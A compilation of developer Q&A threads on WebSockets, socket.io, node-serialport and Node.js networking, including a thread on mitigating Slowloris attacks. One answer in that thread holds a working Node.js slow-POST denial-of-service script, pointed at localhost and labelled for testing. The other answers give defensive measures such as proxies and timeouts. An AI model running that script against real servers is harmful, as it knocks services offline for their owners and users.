I am working on an HTML/Javascript running on mobile devices that is communicating with a Qt/C++ application running on a PC. Both the mobile device and the PC are on a local network. The communication between the HTML page (client) and the C++ app (server) is done using Websockets.
The HTML page is a remote control for the C++ application, so it is needed to have a low latency connection between the mobile device and the PC.
When using any non-Apple device as a client, data is sent to a rate between 60 to 120 frames/sec, which is totally acceptable. When using an Apple device, this rate falls to 3-4 frames/sec.
I also checked ping times (Websocket implementation, not a ping command from command line). They are acceptable (1-5 ms) for Apple devices as long as the device is not transmitting data. Whenever it transmits data, this ping time raises to 200ms.
Looking from the Javascript side, the Apple devices always send data at a consistent rate of 60 frames/sec, as any other devices do. However, on the server side, only 3 to 4 of these 60 frames are received when the client is an Apple device.
Does anyone have any idea on what can be happening?
Here is my Javascript code :
<script language="javascript" type="text/javascript">
var wsUri = document.URL.replace("http", "ws");
var output;
var websocket;
function init()
{
output = document.getElementById("output");
wsConnect();
}
function wsConnect()
{
console.log("Trying connection to " + wsUri);
try
{
output = document.getElementById("output");
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt)
{
onOpen(evt)
};
websocket.onclose = function(evt)
{
onClose(evt)
};
websocket.onmessage = function(evt)
{
onMessage(evt)
};
websocket.onerror = function(evt)
{
onError(evt)
};
}
catch (e)
{
console.log("Exception " + e.toString());
}
}
function onOpen(evt)
{
alert("Connected to " + wsUri);
}
function onClose(evt)
{
alert("Disconnected");
}
function onMessage(evt)
{
alert('Received message : ' + evt.data);
}
function onError(evt)
{
alert("Error : " + evt.toString());
}
function doSend(message)
{
websocket.send(message);
}
window.addEventListener("load", init, false);
</script>
Data is sent from Javascript side using dosend() function.
Few ideas and suggestions.
Check if the client's WebSocket protocol is supported by the server. This question and answer discuss a case where different protocol versions were an issue.
The WebSocket standard permits implementations to arbitrarily delay transmissions and perform fragmentation. Additionally, control frames, such as Ping, do not support fragmentation, but are permitted to be interjected. These permitted behavioral difference may be contributing to the difference in times.
Check if the bufferedAmount attribute on the WebSocket to determine if the WebSocket is buffering the data. If the bufferedAmount attribute is often zero, then data has been passed to the OS, which may be buffering it based on OS or socket configurations, such as Nagle.
This question and answer mentions resolving delays by having the server send acknowledgements for each message.
To get a deeper view into the interactions, it may be useful to perform a packet trace. This technical Q&A in the Mac Developer Library may provide some resources as to how to accomplish this.
The best way to get some more insight is to use the AutobahnTestsuite. You can test both clients and servers with that suite and find out where problems are situated.
I have created QWebSockets, a Qt based websockets implementation, and used that on several occasions to create servers. Performance from Apple devices is excellent.
However, there seems to be a severe problem with Safari when it comes to large messages (see https://github.com/KurtPattyn/QWebSockets/wiki/Performance-Tests). Maybe that is the problem.
Related
Update
_ https://nodejs.org/pt-br/blog/vulnerability/february-2019-security-releases/ _.
Update Friday, 13th 2018:
I managed to convince the Node.js core team about setting a CVE for that.
The fix — new defaults and probably new API — will be there in 1 or 2 weeks.
Mitigate means to quiet an attack.
Everybody knows Slowloris:
HTTP Header or POST Data characters get transmitted slowly to block the socket.
Scaled that makes a much easier DoS attack.
**In NGINX the mitigation is inbuilt:**
> Closing Slow Connections
> You can close connections that are writing
> data too infrequently, which can represent an attempt to keep
> connections open as long as possible (thus reducing the server’s
> ability to accept new connections). Slowloris is an example of this
> type of attack. The client_body_timeout directive controls how long
> NGINX waits between writes of the client body, and the
> client_header_timeout directive controls how long NGINX waits between
> writes of client headers. The default for both directives is 60
> seconds. This example configures NGINX to wait no more than 5 seconds
> between writes from the client for either headers or body.
https://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/
Since there is no inbuilt way to work on the header in the HTTP Server in Node.js.
I came to the question, if I can combine net and a HTTP Server for mitigating Slowloris .
The idea to `destroy` the `connection` in case of `Slowloris` is this.
http.createServer(function(req, res) {
var timeout;
net.on('data', function(chunk) {
clearTimeout(timeout);
timeout = setTimeout(function() {
req.connection.destroy();
}, 100);
};
};
The problem I can see is, both services have to listen on the same Socket on Port 80 and 443.
Do — not — know how to tackle this.
It is possible to transfer requests and responses from net to HTTP-Server and back.
But this takes 2 sockets for 1 incoming message.
And 2 sockets for 1 outgoing message.
So this is — not — feasible in sense of high available server.
I have no clue.
What can the world do to get rid of this scourge?
CVE for Apache Tomcat.
This is a serious security threat.
I think this want to be solved on C or C++ base.
I cannot write these real programmer languages.
But all of us are helped, if somebody pushes this on Github.
Because the community there once deleted my thread about mitigating Slowloris.
The best way to mitigate this issue, as well as a number of other issues, is to place a proxy layer such as nginx or a firewall between the node.js application and the internet.
If you're familiar with the paradigms behind many design and programming approached, such as OOP, you will probably recognize the importance behind "separation of concerns".
The same paradigm holds true when designing the infrastructure or the way clients can access data.
The application should have only one concern: handle data operations (CRUD). This inherently includes any concerns that relate to maintaining data integrity (SQL injection threats, script injection threats, etc').
Other concerns should be placed in a separate layer, such as an nginx proxy layer.
For example, nginx will often be concerned with routing traffic to your application / load balancing. This will include security concerns related to network connections, such as SSL/TLS negotiations, slow clients, etc'.
An extra firewall might (read: should) be implemented to handle additional security concerns.
The solution for your issue is simple, do not directly expose the node.js application to the internet, use a proxy layer - it exists for a reason.
I think you're taking a wrong approach for this vulnerability.
This doesn't deal with DDOS attack (Distributed Denial of Service) where many IPs are used, and when you need to continue serving some machines that are inside the same firewall as machines involved in the attack.
Often machines used in DDOS aren't real machines that have been taken over (maybe vitualized or with software to do it from different IPs).
When a DDOS against a large target starts, per-IP throttling may ban all machines from the same fire-walled LAN.
To continue providing service in the face of a DDOS, you really need to block requests based on common elements of the request itself, not just IP. security.se may be the best forum for specific advice on how to do that.
Unfortunately, DOS attacks, unlike XSRF, don't need to originate from real browsers so any headers that don't contain closely-held and unguessable nonces can be spoofed.
The recommendation: To prevent this issue, you had to have a good firewall policies against DDos attacks and massive denial services.
BUT! If you want to do something to test a Denial service with node.js, you can use this code (use only for test purposes, not for a production environment)
var net = require('net');
var maxConnections = 30;
var connections = [];
var host = "127.0.0.1";
var port = 80;
function Connection(h, p)
{
this.state = 'active';
this.t = Date.now();
this.client = net.connect({port:p, host:h}, () => {
process.stdout.write("Connected, Sending... ");
this.client.write("POST / HTTP/1.1\r\nHost: "+host+"\r\n" +
"Content-Type: application/x-www-form-urlenconded\r\n" +
"Content-Length: 385\r\n\r\nvx=321&d1=fire&l");
process.stdout.write("Written.\n");
});
this.client.on('data', (data) => {
console.log("\t-Received "+data.length+" bytes...");
this.client.end();
});
this.client.on('end', () => {
var d = Date.now() - this.t;
this.state = 'ended';
console.log("\t-Disconnected (duration: " +
(d/1000).toFixed(3) +
" seconds, remaining open: " +
connections.length +
").");
});
this.client.on('error', () => {
this.state = 'error';
});
connections.push(this);
}
setInterval(() => {
var notify = false;
// Add another connection if we haven't reached
// our max:
if(connections.length < maxConnections)
{
new Connection(host, port);
notify = true;
}
// Remove dead connections
connections = connections.filter(function(v) {
return v.state=='active';
});
if(notify)
{
console.log("Active connections: " + connections.length +
" / " + maxConnections);
}
}, 500);
It is as easy as this.
var http = require('http');
var server = http.createServer(function(req,res) {
res.send('Now.')
})
server.setTimeout(10);
server.listen(80, '127.0.0.1');
server.setTimeout([msecs][, callback])
By default, the Server's timeout value is 2 minutes, and sockets are
destroyed automatically if they time out.
https://nodejs.org/api/http.html#http_server_settimeout_msecs_callback
Tested with.
var net = require('net');
var client = new net.Socket();
client.connect(80, '127.0.0.1', function() {
setInterval(function() {
client.write('Hello World.');
},10000)
});
This is only the second to best solution.
Since legit connections are terminated also.
I've been experimenting with node-serialport library to access devices connected to a USB hub and send/receive data to these devices. The code works fine on linux but on windows(windows 8.1 and windows 7) I get some odd behaviour. It doesn't seem to work for more than 2 devices, it just hangs when writing to the port. The callback for write method never gets called. I'm not sure how to go about debugging this issue. I'm not a windows person, if someone can give me some directions it would be great.
Below is the code I'm currently using to test.
/*
Sample code to debug node-serialport library on windows
*/
//var SerialPort = require("./build/Debug/serialport");
var s = require("./serialport-logger");
var parsers = require('./parsers');
var ee = require('events');
s.list(function(err, ports) {
console.log("Number of ports available: " + ports.length);
ports.forEach(function(port) {
var cName = port.comName,
sp;
//console.log(cName);
sp = new s.SerialPort(cName, {
parser: s.parsers.readline("\r\n")
}, false);
// sp.once('data', function(data) {
// if (data) {
// console.log("Retrieved data " + data);
// //console.log(data);
// }
// });
//console.log("Is port open " + sp.isOpen());
if(!sp.isOpen()) {
sp.open(function(err) {
if(err) {
console.log("Port cannot be opened manually");
} else {
console.log("Port is open " + cName);
sp.write("LED=2\r\n", function(err) {
if (err) {
console.log("Cannot write to port");
console.error(err);
} else {
console.log("Written to port " + cName);
}
});
}
});
}
//sp.close();
});
});
I'm sure you'd have noticed I'm not require'ing serialport library instead I'm using serialport-logger library it's just a way to use the serialport addons which are compiled with debug switch on windows box.
TLDR; For me it works by increasing the threadpool size for libuv.
$ UV_THREADPOOL_SIZE=20 && node server.js
I was fine with opening/closing port for each command for a while but a feature request I'm working on now needs to keep the port open and reuse the connection to run the commands. So I had to find an answer for this issue.
The number of devices I could support by opening a connection and holding on to it is 3. The issue happens to be the default threadpool size of 4. I already have another background worker occupying 1 thread so I have only 3 threads left. The EIO_WatchPort function in node-serialport runs as a background worker which results in blocking a thread. So when I use more than 3 devices the "open" method call is waiting in the queue to be pushed to the background worker but since they are all busy it blocks node. Then any subsequent requests cannot be handled by node. Finally increasing the thread pool size did the trick, it's working fine now. It might help someone. Also this thread definitely helped me.
As opensourcegeek pointed all u need to do is to set UV_THREADPOOL_SIZE variable above default 4 threads.
I had problems at my project with node.js and modbus-rtu or modbus-serial library when I tried to query more tan 3 RS-485 devices on USB ports. 3 devices, no problem, 4th or more and permanent timeouts. Those devices responded in 600 ms interval each, but when pool was busy they never get response back.
So on Windows simply put in your node.js environment command line:
set UV_THREADPOOL_SIZE=8
or whatever u like till 128. I had 6 USB ports queried so I used 8.
On the iOS clients, I'm using SocketRocket by Square: https://github.com/square/SocketRocket
Everywhere I have looked, I have found comparisons of Websocket libraries based on web applications accessed from browser, or queried in a database, but nothing as yet for clients that are iOS smartphone apps.
The clients would connect to the remote server on request through the app (i.e. the connection isn't "always-on" or done through a mobile browser or proxy or GameCenter), and, once connected, be paired with other clients in a two-player "game" situation. Until a match ends, the connection would need to persist, and the server would be responsible for timing each user's turn and receiving & issuing commands from/to each user, sort of like a turn-based game except each turn has a server-managed time limit. After a match ends (generally 15-20 minutes), if a user doesn't want another match with another random opponent, then the connection would be closed and the user logged off; users that want to continue would then be matched with another user by the hosting server (running Node.js and the Websocket library).
Some of the options I have considered include
Socket.IO 1.0: http://socket.io/
Sockjs: https://github.com/sockjs
ws: https://github.com/einaros/ws
nodejs-websocket: https://www.npmjs.com/package/nodejs-websocket
but heard from https://medium.com/#denizozger/finding-the-right-node-js-websocket-implementation-b63bfca0539 that Socket.IO isn't optimal for heavy user traffic (and I'm anticipating more than 300 users requesting matches at any one point), and that Sockjs doesn't have some command query feature, but didn't quite find a conclusive answer in the context of smartphones or iOS devices -- not browsers -- either way, in any situation.
The question is what Node.js server Websocket library might play nicest or interface with the fewest stability/scalability/complexity concerns with the iOS clients running SocketRocket? The SocketRocket wiki itself isn't helpful as it uses a Python/Go-based server side test.
EDIT: Potentially helpful resource:
http://www.teehanlax.com/blog/how-to-socket-io-swift/
Only missing thing is a comparison or discussion of other potential websocket APIs, not just Socket.IO. But this is a start in that it seems to be working with the latest iOS, SocketRocket, and Socket.IO builds.
I like Sockjs because it is simple. Here is an implementation for SocketRocket --> Sockjs that works as proof of concept
NEED:
-SocketRocket (add libicucore.dylib, Security.framework and CFNetwork.framework to your project)
-Node.js
-Sockjs Server
SERVER:
var http = require('http'),
sockjs = require('sockjs'),
sockserver = sockjs.createServer(),
connections = [];
sockserver.on('connection', function(conn) {
console.log('Connected');
connections.push(conn);
conn.on('data', function(message) {
console.log('Message: ' + message);
// send the message to all clients
for (var i=0; i < connections.length; ++i) {
connections[i].write(message);
}
//
});
conn.on('close', function() {
connections.splice(connections.indexOf(conn), 1); // remove the connection
console.log('Disconnected');
});
});
var server = http.createServer();
sockserver.installHandlers(server, {prefix:'/sockserver'});
server.listen(3000, '0.0.0.0'); // http://localhost:3000/sockserver/websocket
CLIENT (ViewController.m):
#import "ViewController.h"
#interface ViewController ()
#end
#implementation ViewController
{
SRWebSocket *myWebSocket;
__weak IBOutlet UILabel *connectionStatus;
__weak IBOutlet UITextView *myTextView;
}
- (void)viewDidLoad {
[super viewDidLoad];
connectionStatus.textColor = [UIColor redColor];
myWebSocket = [[SRWebSocket alloc] initWithURL:[[NSURL alloc] initWithString:#"http://localhost:3000/sockserver/websocket"]];
myWebSocket.delegate = self;
[myWebSocket open];
}
- (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
- (void)webSocket:(SRWebSocket *)webSocket didReceiveMessage:(id)message{
myTextView.text = message;
NSLog(#"message: %#",message);
}
- (void)webSocket:(SRWebSocket *)webSocket didCloseWithCode:(NSInteger)code reason:(NSString *)reason wasClean:(BOOL)wasClean{
connectionStatus.text = #"Disconnected";
connectionStatus.textColor = [UIColor redColor];
}
- (void)webSocketDidOpen:(SRWebSocket *)webSocket{
connectionStatus.text = #"Connected";
connectionStatus.textColor = [UIColor greenColor];
}
- (void)webSocket:(SRWebSocket *)webSocket didFailWithError:(NSError *)error{
}
#end
src: http://nunoferro.pt/?p=22
Having a hard time implementing a node.js/server.js setup
I'm a bit stuck right now, and hoping someone can shed some light. I'm relatively new to sockets in general, but have been programming in javascript on and off for several years, although only about as deep as is necessary to accomplish the task at hand. As a result, my understanding of some of the concepts surrounding the javascript stack heap, and sockets in general are somewhat limited.
Ok Here's the situation:
I've created an application intended to simply increment a counter, on several machines. Several users can click the "next" button and it will update instantly on all machines.
When you first connect, it retrieves the current number, and spits it out locally.
I've created the server here:
var io = require("socket.io");
var sockets = io.listen(8000);
var currentlyServing=0;
sockets.on("connection", function (socket)
{
console.log("client connected");
socket.emit("receive", currentlyServing);
socket.on("update", function(serving)
{
currentlyServing=serving;
if(currentlyServing>100)
currentlyServing=0;
if(currentlyServing<0)
currentlyServing=99;
socket.broadcast.emit("receive", currentlyServing);
console.log("update received: "+currentlyServing);
});
});
console.log("Server Started");
Here is the relevant (I hope) excerpt from the client side:
var socket = io.connect("http://www.sampledomain.com:8000");
//function to update the page when a new update is received
socket.on("receive", function(receivedServing)
{
document.getElementById('msgs').value=""+String("00" + receivedServing).slice(-2);
document.getElementById('nowServing').value=receivedServing;
});
//this is called in an onClick event in the HTML source
//sends the new number to all other stations except this one (handled by server side)
function nextServing()
{
var sendServing = parseInt(document.getElementById('nowServing').value)+1;
socket.emit("update", sendServing);
document.getElementById('nowServing').value=sendServing;
document.getElementById('msgs').value=""+String("00" + sendServing).slice(-2);
}
Ok so here's my problem. This runs absolutely fine in every system I've put it in, smoothly and beautifully - except for IE8. If left alone for more than 2-3 minutes (with no activity at all), I eventually receive a "stack overflow" error. The line number it appears on fluctuates (haven't determined the factors involved yet), but it always happens at that interval. On some workstations it takes longer, which I'm beginning to think has a direct correlation to the amount of phsyical RAM the machine has, or at least how much is being allocated to the web browser.
I found an online function to determine "max stack size", which I realize is not an exact science, however I did consistently get a number in the area of 3000. On my IE11 machine with considerable more resources, I found it to be in the area of 20,000. This may not be relevant, but I figured the more info the better :)
To avoid this problem for now so that the end users don't see this error message, I've take the entire client script, and put it into an iFrame which reloads itself every 60 seconds,essentially resetting the stack, which feels so dirty sitting so close to a web socket, but has bought me the time to post here. I've googled until I can't google any more, but when you search "node.js" or "socket.io" along with "stack overflow" on google, you just get a lot of posts about the two topics that are hosted on the stackoverflow dot com website. ARG lol
Anyone?
EDIT ON NOVEMBER 18TH 2014 AS PER COMMENTS BELOW:
the error message is most often claiming stack overflow at line 1056. IE Developer tools points towards the file socket.io.js. Line 1056 is:
return fn.apply(obj, args.concat(slice.call(arguments)));
which is insdie this section of the file:
var slice = [].slice;
/**
* Bind `obj` to `fn`.
*
* #param {Object} obj
* #param {Function|String} fn or string
* #return {Function}
* #api public
*/
module.exports = function(obj, fn){
if ('string' == typeof fn) fn = obj[fn];
if ('function' != typeof fn) throw new Error('bind() requires a function');
var args = slice.call(arguments, 2);
return function(){
return fn.apply(obj, args.concat(slice.call(arguments)));
}
};
From what I've read it seems that the problem on IE8 might be related to flash. It IE8 uses flashsocket as the default configuration. I suggest to try the following on the client side:
if(navigator.appName.indexOf("Internet Explorer")!=-1 && navigator.appVersion.indexOf("MSIE 8")==-1 ){
socket = io.connect("http://www.sampledomain.com:8000", {
transports: ['xhr-polling']
});
}
else
{
socket = io.connect("http://www.sampledomain.com:8000" );
}
This should make IE8 use long polling while all other machines use the best method they can.
On a side note: You might also want to consider incrementing the "serving" variable on the server.
Find existing issue Causes a "Stack Overflow" in IE8 when using xhr-polling #385.
This was fixed by disabling Flash.
Also find Safari over windows client use xhr-polling instead of websocket - performance are severely harm #1147. While this is Safari it may apply to IE8 because it is using similar mechanism.
I did a small test using your socket.io but in IE 10 and emulated IE8
so that I could debug well. Started capturing Network in the tab and
noticed the requests logging every few seconds.Left alone for few
minutes and I see a lot of requests logged in. You will not see this
in Chrome because it has true WebSockets. While IE8 does not support
WebSockets socket.io emulate that using plain HTTP GET/POST using some
mechanism. So my theory is that even if socket.io works with IE8 it
does not reliably emulate web sockets
My advice is to rule out IE 8 for long running client application. IE8 is no longer supported by Microsoft.
maybe try to replace
""+String("00" + receivedServing).slice(-2)
with
('00' + receivedServing).slice(-2)
i have a similar requirement as in link below but i have to handle it by using JavaScript. where i have to detect whether the mobile internet connection is 2g/3g or it is WIFI . based on connection i have to perform diffent operations..
note : mobile can b of any OS like andriod/ iOS/BB .. i need to handle any mobile OS.
Is there a way to detect what kind of connection I'm using ? WiFi, 3G or Ethernet?
request masters to help me with inputs. thanks :)
Network Information API (This is an experimental technology):
The Network Information API provides information about the system's
connection, which is in term of general connection type (e.g., 'wifi',
'cellular', etc.). This can be used to select high definition content
or low definition content based on the user's connection. The entire
API consists of the addition of the domxref("NetworkInformation")
interface and a single property to the Navigator interface:
Navigator.connection.
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
var type = connection.type;
function updateConnectionStatus() {
alert("Connection type is change from " + type + " to " + connection.type);
}
connection.addEventListener('typechange', updateConnectionStatus);
I wrote a small utility to do this. You can try it here
http://ashanbh.github.io/detectClientSpeed/example2.html
and fork it on github: https://github.com/ashanbh/detectClientSpeed
Usage:
<script src="scripts/require.js"></script>
<script>
requirejs(['scripts/detectSpeed'], function (detectSpeed) {
//Callback to receive timing information
var callback = function (timings) {
console.log(timings);
}
detectSpeed.startSpeedCheck("https://s3-us-west-1.amazonaws.com/amit.shanbhag/3g/coffee-apple-iphone-laptop.jpg", callback);
});
</script>